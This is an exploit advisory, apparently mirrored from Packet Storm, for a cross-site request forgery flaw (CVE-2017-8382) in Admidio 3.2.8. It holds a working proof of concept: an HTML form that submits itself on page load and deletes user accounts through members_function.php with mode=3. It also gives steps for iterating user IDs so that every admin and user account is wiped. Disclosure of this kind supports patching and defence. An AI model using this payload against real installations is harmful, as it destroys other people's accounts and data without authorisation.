Admidio 3.2.8 Cross Site Request Forgery

2017-05-1500:00:00

Faiz Ahmed Zaidi

packetstormsecurity.com

0.004 Low

EPSS

Percentile

72.2%

JSON

`# Exploit Title :Admidio 3.2.8 (CSRF to Delete Users)  
# Date: 28/April/2017  
# Exploit Author: Faiz Ahmed Zaidi Organization: Provensec LLC Website:   
http://provensec.com/  
# Vendor Homepage: https://www.admidio.org/  
# Software Link: https://www.admidio.org/download.php  
# Version: 3.2.8  
# Tested on: Windows 10 (Xampp)  
# CVE : CVE-2017-8382  
  
  
[Suggested description]  
Admidio 3.2.8 has CSRF in   
adm_program/modules/members/members_function.php with  
an impact of deleting arbitrary user accounts.  
  
------------------------------------------  
  
[Additional Information]  
Using this crafted html form we are able to delete any user with   
admin/user privilege.  
  
<html>  
<body onload="javascript:document.forms[0].submit()">  
<form   
action="http://localhost/newadmidio/admidio-3.2.8/adm_program/modules/members/members_function.php">   
  
<input type="hidden" name="usr_id" value='9' />  
<input type="hidden" name="mode" value="3" />  
</form>  
</body>  
</html>  
  
[Affected Component]  
http://localhost/newadmidio/admidio-3.2.8/adm_program/modules/members/members_function.php   
  
  
------------------------------------------  
  
[Attack Type]  
Remote  
  
------------------------------------------  
  
[Impact Escalation of Privileges]  
true  
  
------------------------------------------  
  
[Attack Vectors]  
Steps:  
1.) If an user with admin privilege opens a crafted  
html/JPEG(Image),then both the admin and users with user privilege  
which are mentioned by the user id (as like shown below) in the  
crafted request are deleted.  
  
<input type="hidden" name="usr_id" value='3' />  
  
2.) In admidio by default the userid starts from '0',  
'1' for system '2' for users, so an attacker  
can start from '2' upto 'n' users.  
  
3.)For deleting the user permanently we select 'mode=3'(as like shown  
below),then all admin/low privileged users are deleted.  
  
<input type="hidden" name="mode" value="3" />  
  
------------------------------------------  
  
[Reference]  
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)  
  
Thanks  
Faiz Ahmed Zaidi  
  
`

0.004 Low

EPSS

Percentile

72.2%

JSON

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